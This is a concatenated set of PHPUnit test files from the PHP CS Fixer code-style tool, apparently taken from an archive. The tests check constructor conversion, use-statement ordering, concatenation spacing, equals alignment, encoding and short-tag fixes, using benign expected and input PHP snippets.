    {
        $expected = <<<'EOF'
<?php

class Foo
{

    /**
     * PHP-4 Constructor.
     *
     * This is the real constructor. It's the one that most likely contains any meaningful info in the docblock.
     */
    private function __construct($bar)
    {
        var_dump(1);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    /**
     * PHP-5 Constructor.
     *
     * This docblock is removed, along with the entire wrapper method.
     */
    protected function __construct($bar)
    {
        // Call The Real Constructor, not the hippy fake one!
        $this->Foo($bar);
    }

    /**
     * PHP-4 Constructor.
     *
     * This is the real constructor. It's the one that most likely contains any meaningful info in the docblock.
     */
    private function Foo($bar)
    {
        var_dump(1);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testPhp4Parent()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParEnt
{
    /**
     * Constructor
     */
    function __construct($bar)
    {
        parent::__construct(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParEnt
{
    /**
     * Constructor
     */
    function Foo($bar)
    {
        parent::FooPaRent(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testPhp4ParentInit()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construct($bar)
    {
        parent::init(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function Foo($bar)
    {
        parent::init(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testMixedParent()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construcT($bar)
    {
        parent::__construct(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construcT($bar)
    {
        parent::FooParenT(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testMixedParent2()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construcT($bar)
    {
        parent::__construct(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construcT($bar)
    {
        $this->FooParenT(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testParentOther()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construct($bar)
    {
        parent::__construct(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function Foo($bar)
    {
        $this->FooParent(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testParentOther2()
    {
        $expected = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function __construct($bar)
    {
        parent::__construct(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo extends FooParent
{
    /**
     * Constructor
     */
    function Foo($bar)
    {
        FooParent::FooParent(1);
        var_dump(9);
    }

    function bar()
    {
        var_dump(3);
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testClassWithAnonymous()
    {
        $expected = <<<'EOF'
<?php

class Foo {
    private $bar;

    public function __construct()
    {
        $this->bar = function () {};
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo {
    private $bar;

    public function Foo()
    {
        $this->bar = function () {};
    }
}
EOF;
        $this->makeTest($expected, $input);
    }

    public function testClassWithComments()
    {
        $expected = <<<'EOF'
<?php
class  /* test */
// another

Foo {
public function /* test */ __construct($param) {
}
}
EOF;

        $input = <<<'EOF'
<?php
class  /* test */
// another

Foo {
public function /* test */ Foo($param) {
}
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testAlphaBeta()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        echo 'alpha';
    }
    public function __construct()
    {
        echo 'beta';
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testAlphaBetaTrick1()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        // This is not $this->__construct()
        echo 'alpha';
    }
    public function __construct()
    {
        echo 'beta';
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testAlphaBetaTrick2()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        echo 'alpha';
    }
    public function __construct()
    {
        // This is not $this->Foo()
        echo 'beta';
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testAlphaBetaTrick3()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        echo 'alpha';
        /* yeah, ok let's construct it anyway */
        $this->__construct();
    }
    public function __construct()
    {
        echo 'beta';
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testAlphaBetaTrick4WithAnotherClass()
    {
        $expected = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        echo 'alpha';
    }
    public function __construct()
    {
        $this->Foo();
        // Do something more!
        echo 'beta';
    }
}

Class Bar
{
    function __construct()
    {
        $this->foo = 1;
    }
}
EOF;

        $input = <<<'EOF'
<?php

class Foo
{
    public function Foo()
    {
        echo 'alpha';
    }
    public function __construct()
    {
        $this->Foo();
        // Do something more!
        echo 'beta';
    }
}

Class Bar
{
    function bar()
    {
        $this->foo = 1;
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testAbstract()
    {
        $expected = <<<'EOF'
<?php

abstract class Foo
{
    abstract function Foo();
}
EOF;

        $this->makeTest($expected);
    }

    public function testAbstractTrick()
    {
        $expected = <<<'EOF'
<?php

abstract class Foo
{
    abstract public function Foo();

    public function bar()
    {
        // This is messed up, I know
        $this->__construct();
    }

    public function __construct()
    {
        $this->baz = 1;
    }
}
EOF;

        $this->makeTest($expected);
    }

    public function testParentMultipleClasses()
    {
        $expected = <<<'EOF'
<?php
    class Class1 extends Parent1
    {
        function __construct($foo)
        {
            parent::__construct();
            echo "something";
        }
    }

    class Class2 extends Parent2
    {
        function __construct($foo)
        {
            echo "something";
        }
    }
?>
EOF;

        $input = <<<'EOF'
<?php
    class Class1 extends Parent1
    {
        function __construct($foo)
        {
            $this->Parent1();
            echo "something";
        }
    }

    class Class2 extends Parent2
    {
        function __construct($foo)
        {
            echo "something";
        }
    }
?>
EOF;

        $this->makeTest($expected, $input);
    }

    public function testInfiniteRecursion()
    {
        $expected = <<<'EOF'
<?php
    class Parent1
    {
        function __construct()
        {
            echo "foobar";
        }
    }

    class Class1 extends Parent1
    {
        function __construct($foo)
        {
            parent::__construct();
            echo "something";
        }
    }
?>
EOF;

        $input = <<<'EOF'
<?php
    class Parent1
    {
        function __construct()
        {
            echo "foobar";
        }
    }

    class Class1 extends Parent1
    {
        function Class1($foo)
        {
            $this->__construct();
            echo "something";
        }
    }
?>
EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/ConcatWithSpacesFixerTest.php000066600000003125151456236460022373 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConcatWithSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $foo = "a" . \'b\' . "c" . "d" . $e . ($f + 1);',
                '<?php $foo = "a" . \'b\' ."c". "d"    .  $e.($f + 1);',
            ),
            array(
                '<?php $foo = "a" .
"b";',
                '<?php $foo = "a".
"b";',
            ),
            array(
                '<?php $a = "foobar"
    . "baz";',
                '<?php $a = "foobar"
    ."baz";',
            ),
            array(
                '<?php echo $a . $b;
                    echo $d . $e .   //
                        $f;
                    echo $a . $b?>
                 <?php
                    echo $c;
                ',
                '<?php echo $a.$b;
                    echo $d    .            $e          .   //
                        $f;
                    echo $a   .                  $b?>
                 <?php
                    echo $c;
                ',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/OrderedUseFixerTest.php000066600000026357151456236460021246 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class OrderedUseFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar;
use Foo\Bar\Foo as Fooo, Foo\Bar\FooBar as FooBaz;
 use Foo\Bir as FBB;
use Foo\Zar\Baz;
use SomeClass;
   use Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;
use Zoo\Bar;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Zoo\Tar;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $input = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar\FooBar as FooBaz;
use Zoo\Bar, Zoo\Tar;
 use Foo\Bar;
use Foo\Zar\Baz;
use Symfony\Annotation\Template;
   use Foo\Bar\Foo as Fooo, Foo\Bir as FBB;
use SomeClass;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Symfony\Doctrine\Entities\Entity;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithMultipleNamespace()
    {
        $expected = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

namespace FooRoo {

    use Foo\Bar;
    use Foo\Bar\Foo as Fooo, Foo\Bar\FooBar as FooBaz;
     use Foo\Bir as FBB;
    use Foo\Zar\Baz;
    use SomeClass;
       use Symfony\Annotation\Template, Zoo\Bar;
    use Zoo\Tar;

    $a = new Bar();
    $a = new FooBaz();
    $a = new someclass();

    use Zoo\Tar;

    class AnnotatedClass
    {
        /**
         * @Template(foobar=21)
         * @param Entity $foo
         */
        public function doSomething($foo)
        {
            $bar = $foo->toArray();
            /** @var ArrayInterface $bar */

            return function () use ($bar, $foo) {};
        }
    }
}

namespace BlaRoo {

    use Foo\Zar\Baz;
  use SomeClass;
    use Symfony\Annotation\Template;
  use Symfony\Doctrine\Entities\Entity, Zoo\Bar;

    class AnnotatedClass
    {
        /**
         * @Template(foobar=21)
         * @param Entity $foo
         */
        public function doSomething($foo)
        {
            $bar = $foo->toArray();
            /** @var ArrayInterface $bar */

            return function () use ($bar, $foo) {};
        }
    }
}
EOF;

        $input = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

namespace FooRoo {

    use Foo\Bar\FooBar as FooBaz;
    use Zoo\Bar, Zoo\Tar;
     use Foo\Bar;
    use Foo\Zar\Baz;
    use Symfony\Annotation\Template;
       use Foo\Bar\Foo as Fooo, Foo\Bir as FBB;
    use SomeClass;

    $a = new Bar();
    $a = new FooBaz();
    $a = new someclass();

    use Zoo\Tar;

    class AnnotatedClass
    {
        /**
         * @Template(foobar=21)
         * @param Entity $foo
         */
        public function doSomething($foo)
        {
            $bar = $foo->toArray();
            /** @var ArrayInterface $bar */

            return function () use ($bar, $foo) {};
        }
    }
}

namespace BlaRoo {

    use Foo\Zar\Baz;
  use Zoo\Bar;
    use SomeClass;
  use Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;

    class AnnotatedClass
    {
        /**
         * @Template(foobar=21)
         * @param Entity $foo
         */
        public function doSomething($foo)
        {
            $bar = $foo->toArray();
            /** @var ArrayInterface $bar */

            return function () use ($bar, $foo) {};
        }
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithComment()
    {
        $expected = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar;
use Foo\Bar\Foo as Fooo, Foo\Bar\FooBar /* He there */ as FooBaz;
 use Foo\Bir as FBB;
use Foo\Zar\Baz;
use SomeClass;
   use /* FIXME */Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;
use Zoo\Bar;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Zoo\Tar;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $input = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar\FooBar /* He there */ as FooBaz;
use Zoo\Bar, Zoo\Tar;
 use Foo\Bar;
use Foo\Zar\Baz;
use /* FIXME */Symfony\Annotation\Template;
   use Foo\Bar\Foo as Fooo, Foo\Bir as FBB;
use SomeClass;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Symfony\Doctrine\Entities\Entity;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     */
    public function test54()
    {
        $expected = <<<'EOF'
<?php

use Foo\Bar;
use Foo\Bar\Foo as Fooo, Foo\Bar\FooBar as FooBaz;
 use Foo\Bir as FBB;
use Foo\Zar\Baz;
use SomeClass;
   use Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;
use Zoo\Bar;

use Zoo\Tar;

trait Foo {}

trait Bar {}

class AnnotatedClass
{
    use Foo, Bar;

    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar\FooBar as FooBaz;
use Zoo\Bar, Zoo\Tar;
 use Foo\Bar;
use Foo\Zar\Baz;
use Symfony\Annotation\Template;
   use Foo\Bar\Foo as Fooo, Foo\Bir as FBB;
use SomeClass;

use Symfony\Doctrine\Entities\Entity;

trait Foo {}

trait Bar {}

class AnnotatedClass
{
    use Foo, Bar;

    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $foo) {};
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    /**
     * @requires PHP 5.4
     */
    public function testFixWithTraitImports()
    {
        $expected = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Acme\MyReusableTrait;
use Foo\Bar, Foo\Bar\Foo as Fooo;
 use Foo\Bar\FooBar as FooBaz;
use Foo\Bir as FBB;
use Foo\Zar\Baz;
use SomeClass;
   use Symfony\Annotation\Template, Symfony\Doctrine\Entities\Entity;
use Zoo\Bar;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Zoo\Tar;

class AnnotatedClass
{
    use MyReusableTrait;

    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $baz) {};
    }
}
EOF;

        $input = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use Foo\Bar;
use Foo\Zar\Baz;

<?php

use Foo\Bar\FooBar as FooBaz;
use Zoo\Bar, Zoo\Tar;
 use Foo\Bar;
use Foo\Zar\Baz;
use Acme\MyReusableTrait;
use Symfony\Annotation\Template;
   use Foo\Bar\Foo as Fooo, Foo\Bir as FBB;
use SomeClass;

$a = new Bar();
$a = new FooBaz();
$a = new someclass();

use Symfony\Doctrine\Entities\Entity;

class AnnotatedClass
{
    use MyReusableTrait;

    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */

        return function () use ($bar, $baz) {};
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithDifferentCases()
    {
        $expected = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use abc\Bar;

<?php

use abc\Bar;
use Zoo\Bar;

class Test
{
}
EOF;

        $input = <<<'EOF'
The normal
use of this fixer
should not change this sentence nor those statements below
use Zoo\Bar;
use abc\Bar;

<?php

use Zoo\Bar;
use abc\Bar;

class Test
{
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testWithoutUses()
    {
        $expected = <<<'EOF'
<?php

$c = 1;
EOF
        ;

        $this->makeTest($expected);
    }

    public function testOrderWithTrailingDigit()
    {
        $expected = <<<'EOF'
<?php

use abc\Bar;
use abc2\Bar2;
use xyz\abc\Bar6;
use xyz\abc2\Bar7;
use xyz\xyz\Bar4;
use xyz\xyz\Bar5;

class Test
{
}
EOF;

        $input = <<<'EOF'
<?php

use abc2\Bar2;
use abc\Bar;
use xyz\abc2\Bar7;
use xyz\abc\Bar6;
use xyz\xyz\Bar4;
use xyz\xyz\Bar5;

class Test
{
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testCodeWithImportsOnly()
    {
        $expected = <<<'EOF'
<?php

use Aaa;
use Bbb;
EOF;

        $input = <<<'EOF'
<?php

use Bbb;
use Aaa;
EOF;

        $this->makeTest($expected, $input);
    }

    public function testCodeWithCloseTag()
    {
        $this->makeTest(
            '<?php
                use A\C;
                use A\D?><?php use B\C; use E\F ?>',
            '<?php
                use A\C;
                use B\C?><?php use A\D; use E\F ?>'
        );
    }

    public function testCodeWithComments()
    {
        $this->makeTest(
            '<?php
                use A\C /* A */;
                use /* B */ B\C;',
            '<?php
                use /* B */ B\C;
                use A\C /* A */;'
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php
use A\B;
use some\a\{ClassA, ClassB, ClassC as C};
use const some\a\{ConstA, ConstB, ConstC};
use function some\a\{fn_a, fn_b, fn_c};
',
                '<?php
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use A\B;
use const some\a\{ConstA, ConstB, ConstC};
',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Contrib/AlignEqualsFixerTest.php000066600000004615151456236460021403 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Contrib;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Carlos Cirello <carlos.cirello.nl@gmail.com>
 */
class AlignEqualsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
    $a    = 1;
    $bbbb = \'
    $cccccccc = 3;
    \';',
                '<?php
    $a = 1;
    $bbbb = \'
    $cccccccc = 3;
    \';',
            ),
            array(
                '<?php
    $ccc = 1;
    $bb  = 1;
    $a   = 1;

    /*
    Others alignments
     */
    $a[$b = 1]     = 1;
    $ab[$bc = 1]   = 1;
    $abc[$bcd = 1] = 1;
    $a[$b]         = 1;
    $ab[$bc]       = 1;
    $abc[$bcd]     = 1;

    if ($a = 1) {
        $ccc = 1;
        $bb  = 1;
        $a   = 1;
    }

    function a($a = 1, $b = 2, $c = 3)
    {
        $a[$b = 1]     = 1;
        $ab[$bc = 1]   = 1;
        $abc[$bcd = 1] = 1;
    }

    function b(
        $a = 1,
        $bbb = 2,
        $c = 3
    ) {
        $a[$b = 1]     = 1;
        $ab[$bc = 1]   = 1;
        $abc[$bcd = 1] = 1;
    }

    while (false) {
        $aa    = 2;
        $a[$b] = array();
    }

    for ($i = 0; $i < 10; $i++) {
        $aa    = 2;
        $a[$b] = array();
    }',
                '<?php
    $ccc = 1;
    $bb = 1;
    $a = 1;

    /*
    Others alignments
     */
    $a[$b = 1] = 1;
    $ab[$bc = 1] = 1;
    $abc[$bcd = 1] = 1;
    $a[$b] = 1;
    $ab[$bc] = 1;
    $abc[$bcd] = 1;

    if ($a = 1) {
        $ccc = 1;
        $bb = 1;
        $a = 1;
    }

    function a($a = 1, $b = 2, $c = 3)
    {
        $a[$b = 1] = 1;
        $ab[$bc = 1] = 1;
        $abc[$bcd = 1] = 1;
    }

    function b(
        $a = 1,
        $bbb = 2,
        $c = 3
    ) {
        $a[$b = 1] = 1;
        $ab[$bc = 1] = 1;
        $abc[$bcd = 1] = 1;
    }

    while (false) {
        $aa = 2;
        $a[$b] = array();
    }

    for ($i = 0; $i < 10; $i++) {
        $aa = 2;
        $a[$b] = array();
    }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/AbstractFixerTestBase.php000066600000007165151456236460020137 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer;

use Symfony\CS\FixerInterface;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
abstract class AbstractFixerTestBase extends \PHPUnit_Framework_TestCase
{
    protected function getFixer()
    {
        $name = 'Symfony\CS\Fixer'.substr(get_called_class(), strlen(__NAMESPACE__), -strlen('Test'));

        return new $name();
    }

    protected function getTestFile($filename = __FILE__)
    {
        static $files = array();

        if (!isset($files[$filename])) {
            $files[$filename] = new \SplFileInfo($filename);
        }

        return $files[$filename];
    }

    /**
     * Tests if a fixer fixes a given string to match the expected result.
     *
     * It is used both if you want to test if something is fixed or if it is not touched by the fixer.
     * It also makes sure that the expected output does not change when run through the fixer. That means that you
     * do not need two test cases like [$expected] and [$expected, $input] (where $expected is the same in both cases)
     * as the latter covers both of them.
     * This method throws an exception if $expected and $input are equal to prevent test cases that accidentally do
     * not test anything.
     *
     * @param string              $expected The expected fixer output.
     * @param string|null         $input    The fixer input, or null if it should intentionally be equal to the output.
     * @param \SplFileInfo|null   $file     The file to fix, or null if unneeded.
     * @param FixerInterface|null $fixer    The fixer to be used, or null if it should be inferred from the test name.
     */
    protected function makeTest($expected, $input = null, \SplFileInfo $file = null, FixerInterface $fixer = null)
    {
        if ($expected === $input) {
            throw new \InvalidArgumentException('Input parameter must not be equal to expected parameter.');
        }

        $fixer = $fixer ?: $this->getFixer();
        $file = $file ?: $this->getTestFile();
        $fileIsSupported = $fixer->supports($file);

        if (null !== $input) {
            $fixedCode = $fileIsSupported ? $fixer->fix($file, $input) : $input;

            $this->assertSame($expected, $fixedCode);

            $tokens = Tokens::fromCode($fixedCode); // Load cached collection (used by the fixer)
            Tokens::clearCache();
            $expectedTokens = Tokens::fromCode($fixedCode); // Load the expected collection based on PHP parsing
            $this->assertTokens($expectedTokens, $tokens);
        }

        $this->assertSame($expected, $fileIsSupported ? $fixer->fix($file, $expected) : $expected);
    }

    private function assertTokens(Tokens $expectedTokens, Tokens $tokens)
    {
        foreach ($expectedTokens as $index => $expectedToken) {
            $token = $tokens[$index];

            $expectedPrototype = $expectedToken->getPrototype();
            if (is_array($expectedPrototype)) {
                unset($expectedPrototype[2]); // don't compare token lines as our token mutations don't deal with line numbers
            }

            $this->assertTrue($token->equals($expectedPrototype), sprintf('The token at index %d should be %s, got %s', $index, json_encode($expectedPrototype), $token->toJson()));
        }

        $this->assertSame($expectedTokens->count(), $tokens->count(), 'The collection should have the same length than the expected one');
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR1/EncodingFixerTest.php000066600000002575151456236460020054 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR1;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class EncodingFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input, $file)
    {
        $this->makeTest($expected, $input, $file);
    }

    public function provideExamples()
    {
        return array(
            $this->prepareTestCase('test-utf8.case1.php', 'test-utf8.case1-bom.php'),
            $this->prepareTestCase('test-utf8.case2.php', 'test-utf8.case2-bom.php'),
        );
    }

    private function prepareTestCase($expectedFilename, $inputFilename = null)
    {
        $expectedFile = $this->getTestFile(__DIR__.'/../../Fixtures/FixerTest/encoding/'.$expectedFilename);
        $inputFile = $inputFilename ? $this->getTestFile(__DIR__.'/../../Fixtures/FixerTest/encoding/'.$inputFilename) : null;

        return array(
            file_get_contents($expectedFile->getRealPath()),
            $inputFile ? file_get_contents($inputFile->getRealPath()) : null,
            $inputFile ?: $expectedFile,
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR1/ShortTagFixerTest.php000066600000003646151456236460020061 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR1;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class ShortTagFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideClosingTagExamples
     */
    public function testOneLineFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideClosingTagExamples()
    {
        return array(
            array('<?php echo \'Foo\';', '<? echo \'Foo\';'),
            array('<?= echo \'Foo\';'),
            array('<?php echo \'Foo\'; ?> PLAIN TEXT'),
            array('PLAIN TEXT<?php echo \'Foo\'; ?>'),
            array('<?php $query = "SELECT .... FROM my_table WHERE id <? LIMIT 1";', '<? $query = "SELECT .... FROM my_table WHERE id <? LIMIT 1";'),
            array('<?php

echo \'Foo\';

',
                  '<?

echo \'Foo\';

',
            ),
            array(
                "<?php if ('<?php' === '<?') { }",
                "<? if ('<?php' === '<?') { }",
            ),
            array(
                'foo <?php  echo "-"; echo "aaa <?php bbb <? ccc"; echo \'<? \'; /* <? */ /** <? */ ?> bar <?php echo "<? ";',
                'foo <?  echo "-"; echo "aaa <?php bbb <? ccc"; echo \'<? \'; /* <? */ /** <? */ ?> bar <? echo "<? ";',
            ),
            array(
                "<?php
'<?
';",
            ),
            array(
                '<?php
// Replace all <? with <?php !',
            ),
            array(
                '<?php
/**
 * Convert <?= ?> to long-form <?php echo ?> and <?php ?> to <?php ?>
 *
 */',
            ),
            array(
                "<?php \$this->data = preg_replace('/<\?(?!xml|php)/s', '<?php ',       \$this->data);",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/AbstractIntegrationTest.php000066600000027663151456236460017502 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests;

use Symfony\Component\Filesystem\Exception\IOException;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\CS\ErrorsManager;
use Symfony\CS\FileCacheManager;
use Symfony\CS\Fixer;
use Symfony\CS\FixerInterface;

/**
 * Integration test base class.
 *
 * This test searches for '.test' fixture files in the given directory.
 * Each fixture file will be parsed and tested against the expected result.
 *
 * Fixture files have the following format:
 *
 * --TEST--
 * Example test description
 * --CONFIG--
 * level=symfony|none|psr0|psr1|psr2|symfony
 * fixers=fixer1,fixer2,...*
 * --fixers=fixer3,fixer4,...****
 * --REQUIREMENTS--
 * php=5.4**
 * hhvm=false***
 * --INPUT--
 * Code to fix
 * --EXPECT--
 * Expected code after fixing*****
 *
 *     * Additional fixers may be omitted.
